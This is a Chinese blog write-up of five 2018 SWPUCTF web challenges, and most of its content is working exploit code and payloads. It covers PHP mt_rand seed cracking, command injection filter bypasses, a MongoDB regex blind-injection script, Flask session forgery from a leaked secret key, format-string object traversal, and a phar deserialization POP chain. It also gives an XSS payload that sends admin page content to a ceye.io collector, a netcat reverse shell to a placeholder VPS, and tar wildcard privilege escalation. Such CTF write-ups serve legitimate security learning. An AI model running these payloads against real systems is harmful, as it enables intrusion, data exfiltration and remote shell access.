Xi4or0uji's blog

2018SWPUCTF

字数统计: 3.2k阅读时长: 15 min
2019/01/31 Share

用优惠码 买个X?

这题首先登陆进去会有一个15位优惠码,然后用它的时候又说,优惠码过期,要用24位的优惠码
扫一下泄露扫出来个www.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
//生成优惠码
$_SESSION['seed']=rand(0,999999999);
function youhuima(){
mt_srand($_SESSION['seed']);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=15;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
setcookie('Auth', $auth);
}
//support
if (preg_match("/^\d+\.\d+\.\d+\.\d+$/im",$ip)){
if (!preg_match("/\?|flag|}|cat|echo|\*/i",$ip)){
//执行命令
}else {
//flag字段和某些字符被过滤!
}
}else{
// 你的输入不正确!
}
?>

看到mt_srand很容易联想到是随机数安全问题,之前暨大校赛也考过
根据wonderkun师傅的博客写脚本http://wonderkun.cc/index.html/?p=585
这里有个神奇的地方就是15位爆不出来,减少位数反而能爆出种子

1
2
3
4
5
6
7
8
9
10
11
12
<?php
$str = "MiFgJ3paOh6LjrY";
$rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$len = 15;
for ($i=0;$i<$len;$i++){
if ($i<=($len/2)){
$pos = strpos($rand,$str[$i]);
echo $pos." ".$pos." "."0"." ".(strlen($rand)-1)." ";
}
//整理成方便 php_mt_seed 测试的格式
//php_mt_seed VALUE_OR_MATCH_MIN [MATCH_MAX [RANGE_MIN RANGE_MAX]]
}

然后跑出来是这个

1
48 48 0 61 8 8 0 61 41 41 0 61 6 6 0 61 45 45 0 61 29 29 0 61 15 15 0 61 0 0 0 61

然后可以看到爆出来个种子

然后按回题目的脚本获取长度为24的优惠码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
//生成优惠码
mt_srand(415048766);
$str_rand = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$auth='';
$len=24;
for ( $i = 0; $i < $len; $i++ ){
if($i<=($len/2))
$auth.=substr($str_rand,mt_rand(0, strlen($str_rand) - 1), 1);
else
$auth.=substr($str_rand,(mt_rand(0, strlen($str_rand) - 1))*-1, 1);
}
print $auth;

获得的优惠码是MiFgJ3pamT4pRrY9TZAteUZB,接下来就到命令执行了
第一个正则可以用换行符%0a绕过,接下来到了第二个,因为他会匹配关键字,用到一些bypass技巧

1
2
3
4
5
ip=127.0.0.1%0a`printf "Y2F0IC9mbGFn"|base64 -d`
ip=127.0.0.1%0ac'a't /f'la'g
ip=127.0.0.1%0ac[a]t /f[l][a]g
ip=127.0.0.1%0atac /$(printf "ZmxhZw=="| base64 -d -)
ip=127.0.0.1%0ac\at /fl\ag

然后就能拿到flag了

Injection???

这题源码提示info.php,然后就能看到有mongodb扩展,没有mysql的扩展,大胆猜测是mongodb注入

尝试一下admin登录进去,发现回显是username or password incorret,能确定username是admin,剩下的就是想办法获得password了
这里先尝试一下check.php?username=admin&password[$ne]=admin,发现会回显Nice! But it is not the real passwd,猜测应该是已经注入成功了,但是也将所有密码都返回回来,因此不能绕过,所以用正则去盲注

1
check.php?username=admin&pasword[$regex]=^s

鉴于验证码不会识别,只能慢慢手动盲注出来……
最后知道密码是skmun,登录就有flag了
这里顺便挂一波4uuu Nya师傅的脚本,利用pytessercat去识别验证码,牛逼!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import pytesseract
from PIL import Image
import requests
import os
import string

password = ''
string_list = string.ascii_letters + string.digits

s = requests.Session()

for i in range(32):
for j in string_list:
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
while ('CAPTCHA' in res.content):
res = s.get('http://123.206.213.66:45678/vertify.php')
image_name = os.path.join(os.path.dirname(__file__),'yzm.jpg')
with open(image_name, 'wb') as file:
file.write(res.content)
image = Image.open(image_name)
code = pytesseract.image_to_string(image)
res = s.get('http://123.206.213.66:45678/check.php?username=admin&password[$regex]=^'+password + j +'&vertify='+code)
print password+j,res.content
if 'Nice!But it is not the real passwd' in res.content:
password += j
print password
break
elif 'username or password incorrect' in res.content:
continue
print passwd

皇家线上赌场

源码可以看见test.js和source

访问/source可以看到框架和源码,猜测应该是读取文件源码

/source的源码

1
2
3
4
filename = request.args.get('file', 'test.js')
if filename.find('..') != -1:
return abort(403)
filename = os.path.join('app/static', filename)

同时tips给了这部分源码

1
2
if filename != '/home/ctf/web/app/static/test.js' and filename.find('/home/ctf/web/app') != -1:
return abort(404)

可以看到,它会将..去掉,然后再在static后面加文件名,利用点也就是在/static?file=那个地方了
这里有个利用点,os.path.join函数的参数中,它会将绝对路径前面的所有参数给忽略掉

通过maps文件/proc/self/maps可以读到web的路径

试一下读/home/ctf/web_assli3fasdf/app/views.py读不到,这里有个小技巧,linux中/proc/self/cwd会返回当前工作目录的符号链接,然后这题的当前链接就是源码所在的目录,因此可以/static?file=/proc/self/cwd/app/views.py去读文件,然后就有源码了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#views.py
def register_views(app):
@app.before_request
def reset_account():
if request.path == '/signup' or request.path == '/login':
return
uname = username=session.get('username')
u = User.query.filter_by(username=uname).first()
if u:
g.u = u
g.flag = 'swpuctf{xxxxxxxxxxxxxx}'
if uname == 'admin':
return
now = int(time())
if (now - u.ts >= 600):
u.balance = 10000
u.count = 0
u.ts = now
u.save()
session['balance'] = 10000
session['count'] = 0

@app.route('/getflag', methods=('POST',))
@login_required
def getflag():
u = getattr(g, 'u')
if not u or u.balance < 1000000:
return '{"s": -1, "msg": "error"}'
field = request.form.get('field', 'username')
mhash = hashlib.sha256(('swpu++{0.' + field + '}').encode('utf-8')).hexdigest()
jdata = '{{"{0}":' + '"{1.' + field + '}", "hash": "{2}"}}'
return jdata.format(field, g.u, mhash)

/static?file=/proc/self/cwd/app/__init__.py把init的源码也给读了

1
2
3
4
5
6
7
8
9
10
11
12
13
#__init__.py
from flask import Flask
from flask_sqlalchemy import SQLAlchemy
from .views import register_views
from .models import db

def create_app():
app = Flask(__name__, static_folder='')
app.secret_key = '9f516783b42730b7888008dd5c15fe66'
app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:////tmp/test.db'
register_views(app)
db.init_app(app)
return app

可以看到init.py里面连秘钥都给了,接下来就是session的伪造了
先尝试解密

又因为getflag函数里面要求balance要大于1000000,接下来进行伪造,这里有个坑点,题目是用python3写的,直接上工具加密不行

1
2
3
4
5
6
7
8
9
10
from flask.sessions import SecureCookieSessionInterface

class App(object):
secret_key = '9f516783b42730b7888008dd5c15fe66'

s = SecureCookieSessionInterface().get_signing_serializer(App())
u = s.loads('.eJwVzDsSwyAMRdG9vNqFCP4Am8kIWRROImYAVxnvPc6tTnW_yPxmE0VydDdB6mkD6a_eynPUlxoSyJVZwqaZY1hJRXj1cwyu7PvDUy6ZluiZBBPOrs34cy9xcK-G6wctLh7_.XB7-2Q.d8W10pqlUI57tZthRyxwUddoIuQ')
u['username'] = 'admin'
u['balance'] = 100000000
print(s.dumps(u))

跑出来这个

1
.eJxFzDsOwyAQRdG9vNrFEPwBNhMNwyBZCYPkTxV570kq3-pU94PMbzZRJEd3A6SfdiD9tW_1efSXGhLI1VHCopljmElFePZjDK6W8vCUa6YpeibBgHPXzbj9zuDSVsP1BcPCID0.XFVvYg.WA0mcYbRg2pAOO-OzJe-Agg6dAM

这样我们就能伪造成admin登录进去了

接下来就是格式化字符串漏洞了
首先可以看到field这个可控点是拼在了g.u后面,因此需要向上跳

1
return jdata.format(field, g.u, mhash)

先找一下g的定义

1
2
3
4
5
6
class AppContext(object):
def __init__(self, app):
self.app = app
self.url_adapter = app.create_url_adapter(None)
self.g = app.app_ctx_globals_class()
self.refcnt = 0

先看一下当前的类

1
field=__class__


可以看到我们现在的类是user,正常来说,我们应该先跳去db类,但是因为出题人给user类写了了一个save方法,我们可以先看一下这个方法有什么

1
field=__class__.save.__globals__


可以看到有db,继续查看db有什么

1
field=__class__.save.__globals__[db].__class__.__init__.__globals__


这里可以看到有current_app,有因为在前面register的current_app里面可以找到有g,所以可以直接调用出来

1
field=__class__.save.__globals__[db].__class__.__init__.__globals__[current_app].before_request.__globals__[g].flag

SimplePHP

这题进去可以找到两个可以利用的点,第一个是读文件,第二个是上传文件

1
2
3
4
读文件
http://120.79.158.180:11115/file.php?file=file.php
上传文件
http://120.79.158.180:11115/upload_file.php

先把一堆源码读出来
file.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
header("content-type:text/html;charset=utf-8");
include 'function.php';
include 'class.php';

$file = $_GET["file"] ? $_GET['file'] : "";
if(empty($file)) {
echo "<h2>There is no file to show!<h2/>";
}
$show = new Show();
if(file_exists($file)) {
$show->source = $file;
$show->_show();
} else if (!empty($file)){
die('file doesn't exists.');
}
?>

function.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
<?php
//show_source(__FILE__);
include "base.php";
header("Content-type: text/html;charset=utf-8");
error_reporting(E_ERROR | E_PARSE);
foreach (array('_COOKIE','_POST','_GET') as $_request)
{
foreach ($$_request as $_key=>$_value)
{
$$_key= addslashes($_value);
}
}
function upload_file_do() {
global $_FILES;
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";
//mkdir("upload",0777);
if(file_exists("upload/" . $filename)) {
unlink($filename);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename);
echo '<script type="text/javascript">alert("上传成功!");</script>';
}
function upload_file() {
global $_FILES;
if(upload_file_check()) {
upload_file_do();
}
}
function upload_file_check() {
global $_FILES;
$allowed_types = array("gif","jepg","jpg","png");
$temp = explode(".",$_FILES["file"]["name"]);
$extension = end($temp);
if(empty($extension)) {
//echo "<h4>请选择上传的文件:" . "<h4/>";
}
else{
if(in_array($extension,$allowed_types)) {
return true;
}
else {
echo '<script type="text/javascript">alert("Invild file!");</script>';
return false;
}
}
}
?>

class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
<?php
class C1e4r
{
public $test;
public $str;
public function __construct($name)
{
$this->str = $name;
}
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}
}

class Show
{
public $source;
public $str;
public function __construct($file)
{
$this->source = $file;
echo $this->source;
}
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}
public function __set($key,$value)
{
$this->$key = $value;
}
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|..|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}

}
public function __wakeup()
{
if(preg_match("/http|https|file:|gopher|dict|../i", $this->source)) {
echo "hacker~";
$this->source = "index.php";
}
}
}
class Test
{
public $file;
public $params;
public function __construct()
{
$this->params = array();
}
public function __get($key)
{
return $this->get($key);
}
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}
}
?>

题目提示了flag在f1ag.php里面,同时也可以看到file.php有这样一句

1
2
3
4
5
$show = new Show(); 
if(file_exists($file)) {
$show->source = $file;
$show->_show();
}

接下来去看_show()方法

1
2
3
4
5
6
7
8
public function _show()
{
if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
die('hacker!');
} else {
highlight_file($this->source);
}
}

可以看到这里直接将f1ag过滤了,所以想直接读文件是不可能的了
继续寻找可以看到Test类有个读文件的file_get()方法

1
2
3
4
5
public function file_get($value)
{
$text = base64_encode(file_get_contents($value));
return $text;
}

然后继续找调用了file_get()方法的方法

1
2
3
4
5
6
7
8
9
public function get($key)
{
if(isset($this->params[$key])) {
$value = $this->params[$key];
} else {
$value = "index.php";
}
return $this->file_get($value);
}

再继续找掉用get()方法的方法

1
2
3
4
public function __get($key)
{
return $this->get($key);
}

然鹅这个方法要在调用不存在的属性的时候才会触发,看回show类,可以看见

1
2
3
4
5
public function __toString()
{
$content = $this->str['str']->source;
return $content;
}

所以只需要将str[‘str’]换成Test类就行,然鹅这个_toString()又要怎么触发呢,同时我们也知道这个方法要在输出对象的时候才会触发
然后又看到在C1e4r里面有个这样的方法

1
2
3
4
5
public function __destruct()
{
$this->test = $this->str;
echo $this->test;
}

这里就会将对象输出,至此,pop链完整了
利用C1e4r类的_destruct()中的echo $this->test去触发Show中的_toString(),利用_toString()里面的$content = $this->str[‘str’]->source去触发Test类中的_get(),然后利用file_get()方法读文件
接下来就是利用了
exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
include 'class.php';
$a = new Test();
$a->params = ['source'=>'/var/www/html/f1ag.php'];
$b = new Show('index.php');
$b->str['str'] = $a;
$c = new C1e4r($b);
echo serialize($c);
$ojb = unserialize('O:5:"C1e4r":2:{s:4:"test";N;s:3:"str";O:4:"Show":2:{s:6:"source";s:9:"index.php";s:3:"str";a:1:{s:3:"str";O:4:"Test":2:{s:4:"file";N;s:6:"params";a:1:{s:6:"source";s:22:"/var/www/html/f1ag.php";}}}}}');
$phar = new Phar('hhh.phar');
$phar->startBuffering();
$phar->addFromString('test.php','test');
$phar->setStub('<?php __HALT_COMPILER(); ?>');
$phar->setMetadata($ojb);
$phar->stopBuffering();

将hhh.phar改名成hhh.gif然后上传上去,又因为路径是这样的

1
$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg";

计算出路径然后访问

1
http://120.79.158.180:11115/file.php?file=phar://upload/xxx.jpg

就能拿到f1ag.php文件的源码了

有趣的邮箱注册

首先在check.php发现源码

1
2
3
4
5
6
7
8
9
10
11
<!--check.php
if($_POST['email']) {
$email = $_POST['email'];
if(!filter_var($email,FILTER_VALIDATE_EMAIL)){
echo "error email, please check your email";
}else{
echo "等待管理员自动审核";
echo $email;
}
}
?>

可以看到这里有个filter_var($email,FILTER_VALIDATE_EMAIL),只需要引号括着就可以进行xss了,payload

1
"<script/src=http://xiaorouji.cn/youxiang.js></script>"@12.com

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET','http://localhost:6324/admin/admin.php',false);
a.send(null);
b = a.responseText;
location.href = 'http://onsdtb.ceye.io/' + escape(b);

然后就会在自己的ceye上看到有

1
<a href='admin/a0a.php?cmd=whoami'>

这里可以看到a0a这个php下有一个命令执行的地方,尝试一下弹shell

1
2
3
4
5
var a = new XMLHttpRequest();
a.open('GET','http://localhost:6324/admin/a0a/php?cmd=nc+%2fbin%2fbash+vps_ip+port',false);
a.send(null);
b = a.responseText;
location.href = 'http://onsdtb.ceye.io/' + escape(b);

成功弹了shell以后可以看到上一层的根目录下有个4f0a5ead5aef34138fcbf8cf00029e7b,访问一下看见

进去这个目录可以看到一个backup.php,读一下他的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
include("upload.php");
echo "上传目录:" . $upload_dir . "<br />";
$sys = "tar -czf z.tar.gz *";
chdir($upload_dir);
system($sys);
if(file_exists('z.tar.gz')){
echo "上传目录下的所有文件备份成功!<br />";
echo "备份文件名: z.tar.gz";
}else{
echo "未上传文件,无法备份!";
}
?>

可以看到他会将上传过去的文件进行tar处理,接下来就是tar提权了
具体参考这个https://www.freebuf.com/articles/system/176255.html
我们需要上传三个文件

1
2
3
rouji.sh
--checkpoint-action=exec=sh rouji.sh
--checkpoint=1


rouji.sh的内容

1
cat /flag | base64

然后就能拿到flag了
这场比赛质量真的是高,学到了学到了
全文参考官方wp和一叶飘零师傅的wp

CATALOG
  1. 1. 用优惠码 买个X?
  2. 2. Injection???
  3. 3. 皇家线上赌场
  4. 4. SimplePHP
  5. 5. 有趣的邮箱注册